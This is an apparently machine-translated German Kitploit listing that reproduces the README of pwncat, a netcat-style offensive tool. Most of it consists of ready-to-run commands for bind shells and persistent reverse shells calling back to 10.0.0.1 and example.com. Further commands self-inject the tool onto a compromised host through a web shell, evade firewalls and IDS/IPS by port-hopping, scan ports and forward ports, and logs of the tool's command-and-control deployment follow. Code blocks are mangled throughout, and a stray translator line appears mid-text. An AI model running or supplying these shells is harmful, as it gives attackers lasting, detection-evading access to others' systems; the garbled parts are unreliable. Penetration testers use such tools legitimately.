Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwncat — pwncat - netcat auf Steroiden mit Firewall, IDS/IPS-Umgehung, Bind- und Reverse-Shell, selbstinjizierender Shell und Portweiterleitungs-Magie - und vollständig mit Python (PSE) skriptbar | Kitploit
Tools/GitHubGitHub/cytopia/pwncat
Payload-GenerierungPort-ScanningIDS/IPS-UmgehungLaterale BewegungScripting & AutomatisierungPost-ExploitationPenetrationstestsCommand and ControlDienstprogramme & FrameworksRed Teaming
GitHubcytopia/pwncat
2.0k214vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

pwncat

pwncat - netcat auf Steroiden mit Firewall, IDS/IPS-Umgehung, Bind- und Reverse-Shell, selbstinjizierender Shell und Portweiterleitungs-Magie - und vollständig mit Python (PSE) skriptbar

Repository anzeigenWebseite

Dokumentation | Installation | TL;DR | Features | Verhalten | Nutzung | Beispiele | FAQ | Mitwirken | Haftungsausschluss | Lizenz


pwncat-Banner

pwncat

Dokumentationsstatus PyPI PyPI – Status PyPI – Python-Version PyPI – Format PyPI – Implementierung PyPI – Lizenz

Build-Status Build-Status

 

Netcat auf Steroiden mit Firewall-, IDS/IPS-Umgehung, Bind- und Reverse-Shell, selbstinjektierender Shell und Portweiterleitungs-Magie – und vollständig mit Python (PSE) scriptbar. – docs.pwncat.org

 

[1] mypy-Typabdeckung (vollständig typisiert: 94,00%)
[2] Fehlschläge bei Builds deuten nicht auf fehlerhafte Funktionalität hin. Integrationstests laufen mehrere Stunden und brechen sporadisch aus verschiedenen Gründen (Netzwerk-Timeouts, unbekannte Abbrüche von GitHub Actions, etc.): #735, #841

Motivation

Schon aus Versehen Strg+c auf Ihrer Reverse-Shell gedrückt und sie war für immer weg? Schon ewig darauf gewartet, dass sich Ihr Client bei Ihnen zurückmeldet, weil die Firewall ihn nicht rausließ? Schon einmal eine Verbindung verloren, weil ein IPS verdächtige Ports geschlossen hat? Schon einmal eine schnelle Portweiterleitung gebraucht?

Dieser Tool hat dich abgedeckt.

Abgesehen davon haben die aktuellen Funktionen von nc, ncat oder socat einfach nicht meine Bedürfnisse erfüllt, und ich wollte auch ein einziges Tool haben, das auf älteren und neueren Maschinen funktioniert (daher Python 2+3-Kompatibilität). Am wichtigsten war mir, es in einer Sprache zu haben, die ich verstehe, und meine eigenen Funktionen bereitstellen zu können. (Binäre Releases für Linux, MacOS und Windows folgen in Kürze.)

📕 Dokumentation

🎉 Installation

Aktuelle Version ist: 0.1.2

Allgemein

Pip
pip install pwncat

Betriebssystemspezifisch

[1]: Epel-Repository
[2]: Instabil

☕ TL;DR

Dies ist nur ein kurzer Überblick für den schnellen Einstieg. Für fortgeschrittenere Techniken siehe 💻 Nutzung oder 💡 Beispiele.

In Aktion sehen

nicht zerstörbare Reverse-Shells – wie man sie erzeugt

Auf dem Ziel bereitstellen```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### Einschleusen in Ziel```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Lesen Sie mehr Details zur Selbstinjektion

Shells aufrufen```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Port-Scan```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### Lokale Portweiterleitung `-L` (lauschender Proxy)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote-Port-Weiterleitung -R (doppelter Client-Proxy)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH-Tunneling für Spaß und Profit 🔗
pwncat-Beispiel: Port-Weiterleitungsmagie

⭐ Funktionen

Auf einen Blick

pwncat bietet viele Funktionen, nachfolgend nur eine Liste herausragender Eigenschaften.

Feature-Vergleichsmatrix

* Funktion befindet sich derzeit in der Entwicklung.

👮 Verhalten

Wie bei der ursprünglichen Implementierung von netcat beendet sich pwncat (im Client- und Lauscher-Modus) bei TCP automatisch, wenn die Netzwerkverbindung ordnungsgemäß oder nicht ordnungsgemäß beendet wurde. Falls der entfernte Peer die Verbindung nicht beendet oder im UDP-Modus, bleiben netcat und pwncat geöffnet. Das Verhalten unterscheidet sich etwas, wenn STDIN geschlossen wird.

  1. netcat: Wenn STDIN geschlossen wird, die Verbindung aber offen bleibt, bleibt netcat geöffnet.
  2. pwncat: Wenn STDIN geschlossen wird, die Verbindung aber offen bleibt, schließt pwncat.

Sie können das netcat-Verhalten mit dem Befehlszeilenargument --no-shutdown emulieren.

Werfen Sie einen Blick auf die folgenden Befehle, um dieses Verhalten besser zu verstehen:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
INPUT:```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

---```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
Seien Sie gewarnt, dass es nicht zuverlässig ist, Dateien über UDP zu senden.```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

Es gibt viele Möglichkeiten, dieses Standardverhalten zu ändern. Schauen Sie sich den Verwendung Abschnitt für fortgeschrittene Einstellungen an.

💻 Verwendung

Tasten

[1] Funktioniert nur, wenn --no-shutdown und --keep nicht verwendet werden. Es wird dann seinen Socket zum Senden schließen und dem entfernten Ende ein EOF signalisieren.

Befehlszeilenargumente

Geben Sie pwncat -h ein oder klicken Sie unten, um alle verfügbaren Optionen anzuzeigen.

Klicken Sie hier, um die Nutzung zu erweitern``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

Tool herunterladen
Codestil Integrationstests [2]
StylerStatus
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonOSLinuxMacOSWindows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3
Pwncat-DokumentationLink
Offizielle Dokumentationhttps://docs.pwncat.org
Offizielle Webseitehttps://pwncat.org
API-Dokumentationhttps://pwncat.org/pwncat.api.html
Pwncat-Scripting-EnginePSE
MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_imgnix_imgoracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat


nicht zerstörbare Reverse-Shells – mehrere Shells

FunktionBeschreibung
PSEVollständig scriptbar mit der Pwncat Scripting Engine, um alle möglichen raffinierten Dinge beim Senden und Empfangen zu ermöglichen
PortscanningTCP- und UDP-Portscanning mit grundlegender Unterstützung für Versionserkennung
Selbstinjizierende RshellSelbstinjizierender Modus, um sich selbst zu deployen und automatisch eine ununterbrechbare Reverse-Shell zurück zu starten
Bind-ShellErstellt Bind-Shells
Reverse-ShellErstellt Reverse-Shells
Port-WeiterleitungLokale und entfernte Port-Weiterleitung (Proxy-Server/Client)
Strg+cReverse-Shell kann sich neu verbinden, wenn Sie versehentlich Strg+c drücken
Egress erkennenScannt und meldet offene Egress-Ports auf dem Ziel (Port-Hopping)
FW umgehenUmgeht Egress-Firewalls durch Round-Robin bei ausgehenden Ports (Port-Hopping)
IPS umgehenUmgeht Intrusion Prevention Systeme durch Round-Robin bei ausgehenden Ports bei Verbindungsunterbrechungen (Port-Hopping)
UDP-Rev-ShellVersuchen Sie das mit dem traditionellen netcat
Zustandsbehaftetes UDPZustandsbehaftete Verbindungsphase für UDP-Client-Modus
TCP/UDPVolle TCP- und UDP-Unterstützung
IPv4/IPv6Unterstützung für Dual- oder Single-Stack IPv4 und IPv6
Python 2+3Funktioniert mit Python 2, Python 3, pypy2 und pypy3
PlattformübergreifendFunktioniert auf Linux, macOS und Windows, solange Python verfügbar ist
KompatibilitätVerwenden Sie netcat, ncat oder socat als Client oder Server zusammen mit pwncat
PortabelEinzelne Datei, die nur Kernpakete verwendet – keine externen Abhängigkeiten erforderlich.
pwncatnetcatncatsocat
Scripting-Engine✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
Unix-Domain-Sockets❌✔✔✔
Linux vsock❌❌✔❌
Socket-Quellbindung✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
Telnet-Negotiation❌✔✔❌
Proxy-Unterstützung❌✔✔✔
Lokale Port-Weiterleitung✔❌❌✔
Entfernte Port-Weiterleitung✔❌❌❌
Eingehender Portscan✔✔✔❌
Ausgehender Portscan✔❌❌❌
Versionserkennung✔❌❌❌
Chat✔✔✔✔
Befehlsausführung✔✔✔✔
Hex-Dump*✔✔✔
Broker❌❌✔❌
Gleichzeitige Verbindungen❌❌✔✔
Erlauben/Verweigern❌❌✔✔
Erneutes Akzeptieren✔✔✔✔
Selbstinjizierend✔❌❌❌
UDP-Reverse-Shell✔❌❌❌
Wiederbelebender Client✔❌❌❌
Port-Hopping✔❌❌❌
Notfall-Abschaltung✔❌❌❌
VerhaltenAltAltAlt
Beenden (SIGINT)Strg+cStrg+cStrg+c
Beenden (SIGQUIT)Strg+\??
Beenden (SIGQUIT)Strg+4??
Beenden STDIN[1]Strg+dStrg+dStrg+z und Strg+Eingabe
Senden (NL)Strg+j??
Senden (EOL)Strg+m??
Senden (EOL)EingabeEingabeEingabe

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: Beispiele

### Aktualisieren Sie Ihre Shell auf interaktiv
<!--
<details>
  <summary>Click to expand</summary>
-->

> Dies ist ein universeller Ratschlag und funktioniert nicht nur mit `pwncat`, sondern auch mit allen anderen gängigen Tools.

Wenn Sie mit einer Reverse- oder Bind-Shell verbunden sind, werden Sie feststellen, dass keine interaktiven Befehle funktionieren und das Drücken von <kbd>Strg</kbd>+<kbd>c</kbd> Ihre Sitzung beendet. Um dies zu beheben, müssen Sie sie an ein TTY anhängen (interaktiv machen). So geht's:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

### UDP reverse shell

Ohne Tricks ist eine UDP-Reverse-Shell nicht wirklich möglich. UDP ist ein zustandsloses Protokoll im Vergleich zu TCP und besitzt keine `connect()`-Methode wie TCP.
Im TCP-Modus kennt der Server die IP und den Port des Clients, sobald der Client ein `connect()` ausführt.
Im UDP-Modus gibt es kein `connect()`, der Client sendet einfach Daten an eine Adresse/einen Port, ohne sich zuerst verbinden zu müssen.
Daher kann der Server im UDP-Modus die IP und den Port des Clients nicht kennen und ihm folglich nicht zuerst Daten senden.
Die einzige Möglichkeit, dies zu ermöglichen, besteht darin, dass der Client zuerst eine Art Daten an den Server sendet, damit der Server sehen kann, welche IP/Port die Daten gesendet hat.

`pwncat` emuliert das TCP-`connect()`, indem der Client einmalig oder periodisch ein Nullbyte an den Server sendet, über `--ping-intvl` oder `--ping-init`.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Unzerstörbare TCP-Reverse-Shell

Warum unzerstörbar? Weil es immer wieder zurückkommen wird, selbst wenn Sie Ihren Listening-Server vorübergehend beenden. Mit anderen Worten: Der Client wird weiterhin versuchen, eine Verbindung zum angegebenen Server herzustellen, bis es klappt. Wenn die Verbindung unterbrochen wird, wird er es erneut versuchen.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### Unzerstörbare UDP Reverse Shell

Warum unzerstörbar? Weil sie immer wieder zu dir zurückkommt, selbst wenn du deinen Listening Server vorübergehend beendest. Mit anderen Worten: Der Client sendet weiterhin Nullbytes an den Server, um sich ständig zu melden.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Selbstinjizierende Reverse Shell

Stellen Sie sich vor, Sie können eine sehr einfache und instabile Reverse Shell vom Ziel aus auf Ihren Rechner erstellen, wie z. B. eine Webshell über ein PHP-Skript oder ähnliches. Da Sie wissen, dass diese nicht sehr lange bestehen bleibt oder aufgrund einer instabilen Netzwerkverbindung abbrechen könnte, könnten Sie pwncat verwenden, um sich in diese Verbindung einzuklinken und sich selbst unzerbrechlich auf dem Ziel zu deployen – vollautomatisch.

Auf YouTube ansehen

Alles, was Sie tun müssen, ist pwncat als Ihren lokalen Listener zu verwenden und es mit dem --self-inject Schalter zu starten. Sobald der Client (z. B. die Reverse-Webshell) eine Verbindung herstellt, erledigt es eine Reihe von Dingen:

  1. Ermitteln der Python-Verfügbarkeit und -Versionen auf dem Ziel
  2. Sich selbst base64-kodiert auf das Ziel legen
  3. Das Python des Ziels verwenden, um sich selbst zu dekodieren.
  4. Das Python des Ziels verwenden, um sich selbst als unzerbrechliche Reverse Shell zu Ihnen zu starten

Sobald dies erledigt ist, können Sie die aktuelle Verbindung weiterhin nutzen oder sie einfach aufgeben und einen neuen Listener starten (ja, Sie müssen den Listener nicht vor dem Starten der Reverse Shell starten), damit sich der neue pwncat-Client mit Ihnen verbindet. Der neue Listener muss auch nicht pwncat sein, es kann auch netcat oder ncat sein.

Der --self-inject Schalter:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: Dies ist der Befehl, der auf dem Ziel ausgeführt werden soll (wie `-e`/`--exec`, also möchten Sie, dass es `cmd.exe` oder `/bin/bash` ist)
* `<host>`: Dies ist für Ihren lokalen Rechner, die IP-Adresse, zu der die Reverse-Shell zurückverbinden soll
* `<port>`: Dies ist für Ihren lokalen Rechner, der Port, auf dem die Reverse-Shell zurückverbinden soll

Stellen Sie sich vor, Ihre Kali-Maschine ist 10.0.0.1. Sie weisen Ihre Webshell, die Sie auf einen Linux-Server einschleusen, an, sich mit Ihnen auf Port `4444` zu verbinden:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

Bitte geben Sie den tatsächlichen Markdown-Inhalt an, den ich übersetzen soll. Der Eingabetext fehlt.``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
Und du bist bereit. Du kannst jetzt einen weiteren Listener lokal unter `4445` starten (wiederum wird er sich endlos mit dir verbinden, daher ist es nicht erforderlich, den Listener zuerst zu starten).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Unbegrenzte selbstinjizierende Reverse Shells

Anstatt nur eine einzelne selbstinjizierende Reverse Shell anzufordern, kannst du pwncat anweisen, so viele unzerstörbare Reverse Shells zu starten, wie du möchtest, die sich wieder mit dir verbinden.

Auf YouTube ansehen

Das Argument --self-inject ermöglicht es dir, nicht nur einen einzelnen Port, sondern auch Folgendes zu definieren:

  1. Eine durch Kommas getrennte Liste von Ports: 4445,4446,4447,4448
  2. Eine Bereichsdefinition: 4446-4448
  3. Eine Inkrementierung: 4445+3

Um 4 Reverse Shells zu starten, würdest du deinen Listener wie oben beschrieben starten, aber anstelle eines einzelnen Ports definierst du mehrere:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
Jeder der drei obigen Befehle führt das gleiche Verhalten aus: Es werden 4 Reverse Shells im Ziel gestartet.
Sobald der Client eine Verbindung herstellt, sieht die Ausgabe in etwa so aus:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
